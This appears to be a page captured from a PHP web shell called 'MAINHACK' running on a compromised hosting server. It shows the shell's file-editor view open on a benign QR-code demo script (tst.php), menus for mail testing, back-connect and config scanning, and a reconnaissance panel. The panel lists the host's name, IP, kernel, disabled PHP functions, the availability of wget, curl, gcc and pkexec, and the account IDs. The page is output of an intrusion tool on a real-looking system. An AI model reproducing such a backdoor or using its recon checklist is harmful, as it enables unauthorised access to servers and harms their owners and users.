[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: tst.php
<?php include('header.php'); ?> <div id="page-wrapper"> <div class="main-page"> <div class="row"> <div id="col-md-12"> <?php echo "<h1>PHP QR Code</h1><hr/>"; //set it to writable location, a place for temp generated PNG files $PNG_TEMP_DIR = dirname(__FILE__).DIRECTORY_SEPARATOR.'temp'.DIRECTORY_SEPARATOR; //html PNG location prefix $PNG_WEB_DIR = 'temp/'; include "phpqrcode/qrlib.php"; //ofcourse we need rights to create temp dir if (!file_exists($PNG_TEMP_DIR)) mkdir($PNG_TEMP_DIR); $filename = $PNG_TEMP_DIR.'test.png'; //processing form input //remember to sanitize user input in real-life solution !!! $errorCorrectionLevel = 'L'; if (isset($_REQUEST['level']) && in_array($_REQUEST['level'], array('L','M','Q','H'))) $errorCorrectionLevel = $_REQUEST['level']; $matrixPointSize = 4; if (isset($_REQUEST['size'])) $matrixPointSize = min(max((int)$_REQUEST['size'], 1), 10); if (isset($_REQUEST['data'])) { //it's very important! if (trim($_REQUEST['data']) == '') die('data cannot be empty! <a href="?">back</a>'); // user data $filename = $PNG_TEMP_DIR.'test'.md5($_REQUEST['data'].'|'.$errorCorrectionLevel.'|'.$matrixPointSize).'.png'; QRcode::png($_REQUEST['data'], $filename, $errorCorrectionLevel, $matrixPointSize, 2); } else { //default data echo 'You can provide data in GET parameter: <a href="?data=like_that">like that</a><hr/>'; QRcode::png('PHP QR Code :)', $filename, $errorCorrectionLevel, $matrixPointSize, 2); } //display generated file echo '<img src="'.$PNG_WEB_DIR.basename($filename).'" /><hr/>'; //config form echo '<form action="tst.php" method="post"> Data: <input name="data" value="'.(isset($_REQUEST['data'])?htmlspecialchars($_REQUEST['data']):'PHP QR Code :)').'" /> ECC: <select name="level"> <option value="L"'.(($errorCorrectionLevel=='L')?' selected':'').'>L - smallest</option> <option value="M"'.(($errorCorrectionLevel=='M')?' selected':'').'>M</option> <option value="Q"'.(($errorCorrectionLevel=='Q')?' selected':'').'>Q</option> <option value="H"'.(($errorCorrectionLevel=='H')?' selected':'').'>H - best</option> </select> Size: <select name="size">'; for($i=1;$i<=10;$i++) echo '<option value="'.$i.'"'.(($matrixPointSize==$i)?' selected':'').'>'.$i.'</option>'; echo '</select> <input type="submit" value="GENERATE"></form><hr/>'; // benchmark QRtools::timeBenchmark(); ?> </div></div> </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619